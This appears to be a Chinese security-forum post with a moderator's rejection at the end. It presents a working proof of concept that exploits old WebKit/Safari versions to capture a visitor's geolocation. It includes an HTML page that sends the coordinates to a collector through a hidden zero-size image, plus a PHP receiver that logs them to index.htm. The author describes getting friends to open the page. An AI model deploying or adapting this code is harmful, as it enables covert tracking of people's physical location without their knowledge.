|
测试环境 php空间 + WebKit in Apple iOS < 9.3 and Safari < 9.1,Chrome 原poc
[HTML] 纯文本查看 复制代码 <!DOCTYPE html>
<html lang="en">
<head>
<meta charset=utf-8 />
<title>geolocation</title>
<body>
<script>
function success(position) {
document.getElementById('remote').src="http://127.0.0.1/get.php?geolocation="+"------"+encodeURIComponent(position.coords.latitude)+","+encodeURIComponent(position.coords.longitude);
}
navigator.geolocation.getCurrentPosition(success);
</script>
<img id="remote" src="" width=0 height=0>
</body>
</html>
改下里面的url就好 这个好是好了 但是接受的呢?可以看到url里面还有个get.php 坑爹的就是他没有给出来! 好咯 大神都这样 所以得自己开车... Get.php 代码
[PHP] 纯文本查看 复制代码 <?php
$Logger=$_GET['geolocation'];
$filename="index.htm";
$fh = fopen($filename, "a");
$Logger=$Logger.'</br>';
fwrite($fh, $Logger);
fclose($fh);
?>
这个就不怎么细说了啊 反正就是通过get方式接收过来然后输出到index.htm
好了 这两个就是完整的程序了,因为太穷用不起iPhone,我就传到空间里让表哥们打开。
对方需要要点击好 才能抓取 还有啊 记得浏览器是Safari < 9.1,Chrome才行。 只要中招了就会在index.htm显示 (当然如果你一开始没生成这个文件 它也会生成的)
经纬查询:http://www.gpsspg.com/maps.htm
为啥没BASE64编码 在优化一下poc? 因为我现在木有ios9.3的手机 测试了几次 不成功也不好再喊朋友打开了....
============================================================== 过程较为具体,但是核心内容在于POC,本文仅是实现化,并无其他亮点,故不予通过。
|